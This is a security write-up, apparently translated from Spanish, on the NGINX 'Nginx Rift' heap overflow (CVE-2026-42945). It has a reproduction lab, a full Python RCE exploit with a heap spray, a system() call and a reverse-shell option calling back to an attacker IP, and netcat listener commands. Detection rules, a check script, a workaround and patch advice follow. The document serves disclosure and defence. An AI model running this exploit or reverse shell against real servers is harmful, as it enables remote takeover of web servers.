What is Nginx Rift (CVE-2026-42945)
Nginx Rift is a critical vulnerability heap buffer overflow in the module ngx_http_rewrite_module of NGINX that allows remote code execution (RCE) without authentication. The bug was introduced in 2008 (version 0.6.27) and was dormant for 18 years until its autonomous discovery by the DepthFirst platform in April 2026.
The exploit abuses an inconsistency in the NGINX scripting engine: when a directive rewrite contains a ? in replacement string followed by a directive set that references a capture group, the buffer size calculation uses a state (is_args=0) while the copy uses another (is_args=1), causing ngx_escape_uri write more bytes than reserved.
Key data
| Field | Worth |
|---|---|
| CVE | CVE-2026-42945 |
| CVSS v4.0 | 9.2 (Critical) |
| CVSS v3.1 | 8.1 (High) |
| CWE | CWE-122 (Heap-based Buffer Overflow) |
| Discoverer | DepthFirst AI (Zhenpeng "Leo" Lin) |
| Vendor | F5/NGINX |
| Publication | May 13, 2026 |
| Affected versions | NGINX Open Source 0.6.27 – 1.30.0 |
| Fix | NGINX 1.31.0 / 1.30.1 / NGINX Plus R36 P4 |
| Prerequisite | Configuration with rewrite + set and nameless captures |
| Impact | RCE as NGINX worker (usually nobody/www-data) |
Affected products
- NGINX Open Source: 0.6.27 – 1.30.0
- NGINX Plus: R32 – R36
- NGINX Instance Manager: 2.16.0 – 2.21.1
- F5 WAF for NGINX: 5.9.0 – 5.12.1
- NGINX App Protect WAF: 4.9.0 – 4.16.0 and 5.1.0 – 5.8.0
- NGINX Gateway Fabric: 1.3.0 – 1.6.2 and 2.0.0 – 2.5.1
- NGINX Ingress Controller: 3.5.0 – 3.7.2, 4.0.0 – 4.0.1 and 5.0.0 – 5.4.1
How the bug works
The NGINX scripting engine (two passes)
NGINX compiles the directives rewrite and set in internal operations that are executed in two passes:
- Track 1 (length): calculates how many bytes the destination buffer needs
- Pass 2 (copy): writes the data to the reserved buffer
If the engine state changes between both passes, memory corruption occurs.
The flag is_args that is never cleaned
When replacement chain rewrite contains a ?, the function ngx_http_script_start_args_code establishes e->is_args = 1 in the main engine and never reset it.
When the directive set later you need to calculate the buffer size for the capture $1, create a temporary sub-engine (le) initialized to zeros:
ngx_http_script_engine_t le;
ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
le.ip = code->lengths->elts;- Pass 1 (sub-engine
le):le.is_args = 0→ returns the length raw of the capture - Pass 2 (main engine
e):e->is_args = 1→ callngx_escape_uriwithNGX_ESCAPE_ARGS
Each escapeable character (+, %, &) expands from 1 byte to 3 bytes. The buffer was reserved for N bytes but N + 2*M bytes are written (where M = number of escapeable characters in the URI).
Vulnerable configuration
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}Three necessary conditions:
rewritewith?in the replacement chain- Capture group unnamed (
$1,$2) — you capture them with names ($user_id) are NOT vulnerable - Directive
set,rewriteeitheriflater than reference the capture
From heap overflow to RCE
The exploit uses heap feng shui cross-request To control the memory layout:
- POST Spray: send POST bodies with a structure
ngx_pool_cleanup_sfalse that points tosystem()+ command - Attacker connection: send URI with padding
+that when escaping overflows the heap - Victim connection: its memory pool is adjacent in the heap; overflow overwrites the pointer
cleanup - Trigger: close the victim connection →
ngx_destroy_pool()iterate the listcleanup→ executesystem(cmd)
Thanks to the multi-process architecture of NGINX (workers forked from the master), the heap layout is deterministic between restarts — each crash simply respawns an identical worker, allowing retries.
reproduction laboratory
Lab architecture
┌─────────────────────────────────────────────────┐
│ Docker container (Ubuntu 22.04) │
│ │
│ ┌─────────────────────────────────────┐ │
│ │ NGINX 1.30.0 (compilado de fuente) │ │
│ │ - ngx_http_rewrite_module │ │
│ │ - ASLR deshabilitado (setarch -R) │ │
│ │ - Puerto 19321 │ │
│ └─────────────────────────────────────┘ │
│ │
│ ┌──────────────────────────┐ │
│ │ Backend Python :19323 │ │
│ │ (delay configurable) │ │
│ └──────────────────────────┘ │
└─────────────────────────────────────────────────┘
│
Puerto 19321 expuesto
│
┌─────────────────────┐
│ Host (atacante) │
│ poc.py --shell │
└─────────────────────┘Requirements
- Docker + Docker Compose
- python 3
- netcat (for reverse shell)
Lab files
Dockerfile (env/Dockerfile):
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \
gcc make libpcre2-dev libssl-dev zlib1g-dev \
util-linux python3 curl git \
&& rm -rf /var/lib/apt/lists/*
RUN git clone https://github.com/nginx/nginx.git /nginx-src \
&& cd /nginx-src && git checkout 98fc3bb78
RUN cd /nginx-src && ./auto/configure \
--builddir=build \
--with-cc-opt='-g -O2 -fno-omit-frame-pointer' \
--with-ld-opt='-Wl,-z,relro -Wl,-z,now' \
--with-http_ssl_module --with-http_v2_module \
&& make -j$(nproc)
WORKDIR /app
COPY nginx.conf server.py entrypoint.sh ./
RUN chmod +x entrypoint.sh && mkdir -p logs tmp
ENTRYPOINT ["/app/entrypoint.sh"]
EXPOSE 19321docker-compose.yml (env/docker-compose.yml):
services:
nginx:
build: .
cap_add:
- SYS_PTRACE
security_opt:
- seccomp=unconfined
init: true
ports:
- "19321:19321"
tty: true
stdin_open: truenginx.conf (vulnerable configuration):
daemon off;
worker_processes 1;
error_log logs/error.log;
pid tmp/nginx.pid;
worker_rlimit_core 500M;
working_directory tmp;
events {
worker_connections 1024;
}
http {
access_log off;
client_body_temp_path tmp;
proxy_temp_path tmp;
fastcgi_temp_path tmp;
uwsgi_temp_path tmp;
scgi_temp_path tmp;
upstream backend {
server 127.0.0.1:19323;
}
server {
listen 19322;
location / { return 200 "backend ok\n"; }
}
server {
listen 19321;
request_pool_size 7920;
connection_pool_size 4096;
client_header_buffer_size 2048;
# La combinacion rewrite + set dispara el bug:
# - rewrite establece e->is_args = 1 (por el '?' en el reemplazo)
# - set $original_endpoint $1 reserva buffer con longitud raw del
# capture, pero la copia escapa los caracteres (3x para '+')
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
location /internal {
internal;
proxy_pass http://backend;
proxy_read_timeout 60s;
}
# Spray: cuerpo POST almacenado en pool memory (datos binarios, NUL permitido)
location /spray {
client_body_in_single_buffer on;
proxy_pass http://backend;
proxy_read_timeout 60s;
}
location / { return 200 "ok\n"; }
}
}entrypoint.sh:
#!/bin/bash
cd /app
python3 server.py &>/dev/null &
# setarch -R deshabilita ASLR para el proceso lanzado (direcciones deterministicas)
exec setarch x86_64 -R /nginx-src/build/nginx -p /app -c /app/nginx.confserver.py (backend with configurable delay):
#!/usr/bin/env python3
"""Simple HTTP backend with configurable delay via X-Delay header."""
import http.server
import time
import socketserver
class BackendHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
delay = float(self.headers.get('X-Delay', '5'))
time.sleep(delay)
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b'backend ok\n')
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
self.rfile.read(length)
delay = float(self.headers.get('X-Delay', '5'))
time.sleep(delay)
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b'backend ok\n')
def log_message(self, format, *args):
pass
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("127.0.0.1", 19323), BackendHandler) as httpd:
print("Backend on :19323")
httpd.serve_forever()Exploit (poc.py)
#!/usr/bin/env python3
import argparse
import socket
import struct
import time
import sys
BODY_LEN = 4000
N_SPRAY = 20
SAFE = set()
_t = [0xffffffff, 0xd800086d, 0x50000000, 0xb8000001,
0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff]
for _b in range(256):
if not (_t[_b >> 5] & (1 << (_b & 0x1f))):
SAFE.add(_b)
HEAP_BASE = 0x555555659000
LIBC_BASE = 0x7ffff77ba000
SYSTEM_ADDR = LIBC_BASE + 0x50d70
PREREAD_HEAP_OFFSETS = [
0x05a427, 0x060e67,
0x0ba557, 0x0bf367, 0x0c4177, 0x0c8f87, 0x0cdd97,
0x0d2ba7, 0x0d79b7, 0x0dc7c7, 0x0e15d7, 0x0e63e7,
0x0eb1f7, 0x0f0007, 0x0f4e17, 0x0f9c27, 0x0fea37,
0x103847, 0x108657, 0x10d467,
]
def addr_is_safe(addr):
return all(((addr >> (j * 8)) & 0xff) in SAFE for j in range(6))
def make_body(cmd, data_addr):
fake_struct = struct.pack('<QQQ', SYSTEM_ADDR, data_addr, 0)
cmd_bytes = cmd.encode('utf-8') + b'\x00'
payload = fake_struct + cmd_bytes
if len(payload) > BODY_LEN:
print(f"[!] Command too long (body={len(payload)}, max={BODY_LEN})")
sys.exit(1)
return payload + b'\x41' * (BODY_LEN - len(payload))
def wait_alive(host, port, timeout=30):
for _ in range(timeout):
try:
s = socket.create_connection((host, port), timeout=2)
s.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n")
s.recv(100)
s.close()
return True
except Exception:
time.sleep(1)
return False
def attempt(host, port, target_bytes, body):
sprays = []
for i in range(N_SPRAY):
try:
s = socket.create_connection((host, port), timeout=5)
req = (
b"POST /spray HTTP/1.1\r\n"
b"Host: l\r\n"
b"Content-Length: " + str(BODY_LEN).encode() + b"\r\n"
b"X-Delay: 60\r\n"
b"Connection: close\r\n"
b"\r\n"
+ body
)
s.sendall(req)
sprays.append(s)
except Exception:
break
time.sleep(0.005)
time.sleep(0.2)
try:
a = socket.create_connection((host, port), timeout=5)
time.sleep(0.02)
v = socket.create_connection((host, port), timeout=5)
time.sleep(0.02)
except Exception:
for s in sprays:
try:
s.close()
except Exception:
pass
return False
payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1")
a.sendall((f"GET /api/{payload} HTTP/1.1\r\n"
f"Host:localhost\r\n").encode("latin-1"))
time.sleep(0.05)
v.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\n")
time.sleep(0.05)
a.sendall(b"X-Delay:60\r\nConnection:close\r\n\r\n")
time.sleep(0.2)
v.close()
time.sleep(0.1)
crashed = False
try:
a.sendall(b"X-Ping:1\r\n")
a.settimeout(0.2)
data = a.recv(1)
if not data:
crashed = True
except socket.timeout:
try:
check_sock = socket.create_connection((host, port), timeout=0.2)
check_sock.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\nConnection:close\r\n\r\n")
check_data = check_sock.recv(10)
check_sock.close()
if not check_data:
crashed = True
else:
crashed = False
except Exception:
crashed = True
except (ConnectionResetError, BrokenPipeError, OSError):
crashed = True
for s in sprays:
try:
s.close()
except Exception:
pass
try:
a.close()
except Exception:
pass
return crashed
def main():
parser = argparse.ArgumentParser(
description="nginx rift RCE exploit (ASLR disabled)"
)
parser.add_argument("--host", default="127.0.0.1",
help="target host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=19321,
help="target port (default: 19321)")
parser.add_argument("--cmd",
help="shell command to execute via system()")
parser.add_argument("--shell", action="store_true",
help="execute a reverse shell back to the attacker")
parser.add_argument("--listen-port", type=int, default=1337,
help="port to listen on for reverse shell (default: 1337)")
parser.add_argument("--listen-ip", type=str, default="172.17.0.1",
help="IP address for reverse shell to connect back to (default: 172.17.0.1)")
args = parser.parse_args()
if not args.cmd and not args.shell:
parser.error("either --cmd or --shell must be specified")
if args.cmd and args.shell:
parser.error("cannot specify both --cmd and --shell")
host = args.host
port = args.port
if args.shell:
local_ip = args.listen_ip
cmd = f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_ip}\",{args.listen_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
print(f"[*] Generated reverse shell command: {cmd}")
else:
cmd = args.cmd
if args.shell:
import threading
def listen_shell():
print(f"[*] Listening for reverse shell on port {args.listen_port}...")
import subprocess
try:
subprocess.run(["nc", "-l", "-p", str(args.listen_port)], check=True)
except Exception:
print(f"[!] Could not start netcat. Please run: nc -l -p {args.listen_port}")
t = threading.Thread(target=listen_shell)
t.daemon = True
t.start()
time.sleep(1)
candidates = []
for i, off in enumerate(PREREAD_HEAP_OFFSETS):
addr = HEAP_BASE + off
if addr_is_safe(addr):
candidates.append((i, addr))
primary_addr = candidates[0][1]
data_addr = primary_addr + 24
body = make_body(cmd, data_addr)
print(f"[*] Waiting for nginx on {host}:{port}...")
if not wait_alive(host, port):
print("[!] nginx not responding")
return 1
print("[+] Connected.")
TRIES_PER_CANDIDATE = 10
for i, addr in candidates:
target = bytes([(addr >> (j * 8)) & 0xff for j in range(6)])
for t in range(TRIES_PER_CANDIDATE):
if not wait_alive(host, port, timeout=10):
time.sleep(2)
if not wait_alive(host, port, timeout=10):
print(" server not recovering, aborting")
return 1
crashed = attempt(host, port, target, body)
if crashed:
if args.shell:
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
pass
else:
print(f"[+] try {t + 1}/{TRIES_PER_CANDIDATE} "
f"crashed — system(\"{cmd}\") executed")
print(f"[+] Done.")
return 0
time.sleep(0.3)
print("[+] All candidates tried — no crash detected.")
return 0
if __name__ == "__main__":
sys.exit(main())Lab deployment
# Clonar el repositorio del PoC
git clone https://github.com/DepthFirstDisclosures/Nginx-Rift.git
cd Nginx-Rift
# Construir el contenedor (compila NGINX desde fuente, ~5 min)
./setup.sh
# Iniciar el servidor vulnerable
docker compose -f env/docker-compose.yml upRun the exploit
# Terminal 1: servidor ya corriendo con docker compose up
# Terminal 2: ejecutar comando arbitrario
python3 poc.py --cmd 'id > /tmp/pwned'
# Verificar ejecucion
docker compose -f env/docker-compose.yml exec nginx cat /tmp/pwned
# uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
# O bien: obtener reverse shell
# Terminal 2: escuchar
nc -lvnp 1337
# Terminal 3: lanzar exploit con shell
python3 poc.py --shell --listen-ip 172.17.0.1 --listen-port 1337Expected output of the exploit:
[*] Waiting for nginx on 127.0.0.1:19321...
[+] Connected.
[+] try 1/10 crashed — system("id > /tmp/pwned") executed
[+] Done.Check the RCE
# Comprobar que el fichero se creo dentro del contenedor
docker compose -f env/docker-compose.yml exec nginx ls -la /tmp/pwned
docker compose -f env/docker-compose.yml exec nginx cat /tmp/pwned
# uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)Clean the lab
docker compose -f env/docker-compose.yml down --rmi allHow exploitation works step by step
1. Heap spray with POST bodies
The attacker opens 20 simultaneous connections by sending POST /spray with a body of 4000 bytes. This body contains a structure ngx_pool_cleanup_s false:
Offset 0x00: SYSTEM_ADDR (8 bytes) — puntero a system() en libc
Offset 0x08: DATA_ADDR (8 bytes) — puntero al comando (offset +24 del spray)
Offset 0x10: 0x00 (8 bytes) — next = NULL (fin de lista)
Offset 0x18: "id > /tmp/pwned\0" — el comando a ejecutar
Offset 0x2X: padding 'A' hasta 4000 bytesThese POST bodies may contain null bytes (unlike URIs), allowing arbitrary pointers to be injected.
2. Opening of attacker + victim connections
Two TCP connections are opened:
- Connection A (attacker): the malicious URI will be sent
- V connection (victim): your pool will be the target of the overflow
The opening order determines the adjacency in the heap.
3. Sending URI with padding +
The URI sent to connection A has the form:
GET /api/AAAA...AAA++++...++++<target_bytes> HTTP/1.1- 349 bytes
A(safe padding, no leaks) - 969 bytes
+(each+expands to%2B= 3 bytes → overflow of 969*2 = 1938 bytes) - 6 bytes of the target pointer (spray address in the heap, filtered to be URI-safe)
4. Overflow and trigger
When the URI is processed:
rewriteestablishese->is_args = 1set $original_endpoint $1calculates buffer of ~1318 bytes (raw length)- Escaped copy writes ~3256 bytes → ~1938 byte overflow over the adjacent pool
- The last 6 bytes overwrite the pointer
cleanupfrom the victim pool - By closing the V connection,
ngx_destroy_pool()executecleanup->handler(cleanup->data)→system("id > /tmp/pwned")
5. Heap determinism
NGINX uses fork() to create workers. All workers have exactly the same memory layout (copy of the master). If an attempt fails and the worker crashes, the master respawns an identical one. This allows:
- Retry without changing offsets
- Spray position bruteforce (20 pre-calculated candidates)
Note: PoC requires ASLR disabled (setarch -R). With ASLR active, a prior address leak would be necessary (possible via the same fork architecture, byte-by-byte).
Attack detection
Network indicators
- Multiple requests
POST /sprayfixed size (4000 bytes) in rapid succession - Extremely long URIs (~1300+ characters) with repetitive strings of
+to endpoints type/api/... - Partial TCP connections abruptly closing after POST spray
ModSecurity/WAF rules
# Detectar URIs con exceso de caracteres + (indicador de heap spray)
SecRule REQUEST_URI "@rx \+{100,}" \
"id:100600,phase:1,deny,status:403,\
msg:'CVE-2026-42945: Possible Nginx Rift exploit attempt (excessive + chars in URI)'"
# Detectar requests extremadamente largas a /api/
SecRule REQUEST_URI "@rx ^/api/.{1000,}" \
"id:100601,phase:1,deny,status:403,\
msg:'CVE-2026-42945: Abnormally long API path (possible overflow attempt)'"Detection via access log
If access log is enabled, look for patterns:
# Buscar URIs sospechosas en logs
grep -P '/api/.{1000,}' /var/log/nginx/access.log
grep -P '\+{50,}' /var/log/nginx/access.logYARA rule
rule NginxRift_CVE_2026_42945 {
meta:
description = "Detecta el exploit Nginx Rift (CVE-2026-42945)"
author = "Red Orbita"
date = "2026-05-18"
cve = "CVE-2026-42945"
severity = "critical"
strings:
$s1 = "nginx rift" ascii nocase
$s2 = "ngx_escape_uri" ascii
$s3 = "NGX_ESCAPE_ARGS" ascii
$s4 = "ngx_http_script_copy_capture" ascii
$s5 = "PREREAD_HEAP_OFFSETS" ascii
$s6 = "make_body" ascii
$s7 = "heap feng shui" ascii nocase
$s8 = "depthfirst" ascii nocase
$s9 = "/spray" ascii
$s10 = "setarch" ascii
// Patron de spray: struct.pack con SYSTEM_ADDR
$pack = { 70 0d 05 00 00 00 00 00 }
condition:
($s1 and $s9) or
($s5 and $s6) or
($s2 and $s5) or
($s9 and $s10 and $s6) or
(4 of ($s*)) or
$pack
}Wazuh Rules
<group name="nginx-rift,exploit,cve-2026-42945">
<!-- Deteccion de URIs extremadamente largas con + repetidos -->
<rule id="100530" level="14">
<if_sid>31100</if_sid>
<regex type="pcre2">/api/.{1000,}\+{100,}</regex>
<description>CVE-2026-42945: Posible explotacion Nginx Rift (URI con + excesivos)</description>
<mitre>
<id>T1190</id>
</mitre>
<group>exploit_attempt,web,</group>
</rule>
<!-- Deteccion de multiples POST /spray en corto tiempo -->
<rule id="100531" level="12" frequency="10" timeframe="5">
<if_matched_sid>31100</if_matched_sid>
<regex type="pcre2">POST /spray</regex>
<description>CVE-2026-42945: Heap spray detectado (multiples POST /spray)</description>
<mitre>
<id>T1190</id>
</mitre>
<group>exploit_attempt,web,</group>
</rule>
<!-- Worker crash loop -->
<rule id="100532" level="13">
<if_sid>31100</if_sid>
<match>worker process</match>
<match>exited on signal 11</match>
<description>CVE-2026-42945: NGINX worker crash (posible explotacion Nginx Rift)</description>
<mitre>
<id>T1499.004</id>
</mitre>
<group>exploit_attempt,service_availability,</group>
</rule>
</group>Quick detection script
#!/bin/bash
# check_nginx_rift.sh - Verificar estado de CVE-2026-42945
echo "=== CVE-2026-42945 (Nginx Rift) - Check ==="
echo ""
VULN=0
# 1. Verificar version de NGINX
NGINX_BIN=$(which nginx 2>/dev/null || echo "/usr/sbin/nginx")
if [ -x "$NGINX_BIN" ]; then
VERSION=$($NGINX_BIN -v 2>&1 | grep -oP 'nginx/\K[0-9.]+')
echo "[INFO] Version: nginx/$VERSION"
# Comparar version (vulnerable: <= 1.30.0)
if printf '%s\n' "1.30.0" "$VERSION" | sort -V | head -1 | grep -q "^$VERSION$"; then
if [ "$VERSION" != "1.31.0" ] && [ "$VERSION" != "1.30.1" ]; then
echo "[VULNERABLE] Version $VERSION es vulnerable (< 1.30.1)"
VULN=1
fi
else
echo "[OK] Version $VERSION es >= 1.31.0 (parcheada)"
fi
else
echo "[INFO] NGINX no encontrado en el sistema"
fi
# 2. Buscar configuracion vulnerable
echo ""
echo "Buscando configuraciones vulnerables..."
CONF_DIRS="/etc/nginx /usr/local/nginx/conf /opt/nginx/conf"
for dir in $CONF_DIRS; do
if [ -d "$dir" ]; then
# Buscar rewrite con ? seguido de set con $1/$2
MATCHES=$(grep -rn 'rewrite.*\$.*?.*' "$dir" 2>/dev/null | grep -v '#')
if [ -n "$MATCHES" ]; then
echo " [ALERTA] Posible configuracion vulnerable en $dir:"
echo "$MATCHES" | while read line; do
echo " $line"
done
# Verificar si usa captures sin nombre ($1, $2, etc)
if echo "$MATCHES" | grep -qP '\$[0-9]+'; then
echo " [VULNERABLE] Usa captures sin nombre (\$1, \$2) con ? en rewrite"
VULN=2
fi
fi
fi
done
# 3. Verificar si ASLR esta habilitado
echo ""
ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)
if [ "$ASLR" = "2" ]; then
echo "[MITIGADO] ASLR completamente habilitado (randomize_va_space=2)"
elif [ "$ASLR" = "1" ]; then
echo "[PARCIAL] ASLR parcial (randomize_va_space=1)"
elif [ "$ASLR" = "0" ]; then
echo "[CRITICO] ASLR deshabilitado - explotacion trivial"
VULN=2
fi
# 4. Verificar crashes recientes de workers
echo ""
echo "Buscando crashes de workers NGINX..."
if [ -f /var/log/nginx/error.log ]; then
CRASHES=$(grep -c "exited on signal 11" /var/log/nginx/error.log 2>/dev/null)
if [ "$CRASHES" -gt "0" ]; then
echo " [ALERTA] $CRASHES crashes de worker encontrados (signal 11 = SIGSEGV)"
else
echo " [OK] No se detectan crashes de workers"
fi
fi
echo ""
if [ $VULN -eq 2 ]; then
echo "[CRITICO] Configuracion vulnerable detectada"
echo " Accion inmediata: usar named captures en lugar de \$1/\$2"
echo " Solucion definitiva: actualizar a NGINX >= 1.31.0"
elif [ $VULN -eq 1 ]; then
echo "[VULNERABLE] Version vulnerable detectada"
echo " Verificar configuracion manualmente"
echo " Solucion: actualizar a NGINX >= 1.31.0"
else
echo "[OK] Sistema no vulnerable o no aplica"
fiWorkaround: use named captures
If you cannot update immediately, mitigation is replace unnamed captures with named captures in all directives rewrite:
Vulnerable:
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;Mitigated:
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;Find and fix all occurrences:
# Encontrar todas las configuraciones potencialmente vulnerables
grep -rn 'rewrite.*\$[0-9].*?' /etc/nginx/ 2>/dev/null
# Verificar que no quedan captures sin nombre despues de corregir
nginx -t && nginx -s reloadWhat breaks this:
- Nothing functional — named captures are semantically equivalent
- It only requires renaming
$1,$2by descriptive names
Definitive solution: update NGINX
| Product | Patched version |
|---|---|
| NGINX Open Source | 1.31.0 or 1.30.1 |
| NGINX Plus | R36 P4 / R32 P6 |
# Ubuntu/Debian
apt update && apt install nginx
# CentOS/RHEL
yum update nginx
# Verificar version
nginx -v
# nginx version: nginx/1.31.0
# Reiniciar
systemctl restart nginxThe patch fixes the bug by resetting e->is_args correctly between policy evaluations, ensuring that the length calculation pass and the copy pass use the same escape state.
Timeline
| Date | Event |
|---|---|
| 2008 | Bug introduced in NGINX 0.6.27 |
| April 18, 2026 | DepthFirst analyzes NGINX source code |
| April 21, 2026 | Report to NGINX via GitHub Security Advisory |
| April 24, 2026 | NGINX confirms 4 of 5 reported issues |
| April 28, 2026 | DepthFirst reports having functional RCE PoC |
| May 5, 2026 | Shared PoC with NGINX + demo video |
| May 13, 2026 | F5 publishes advisory + patch (NGINX 1.31.0 / 1.30.1) |
| May 14, 2026 | DepthFirst publishes technical writeup and PoC |
Comments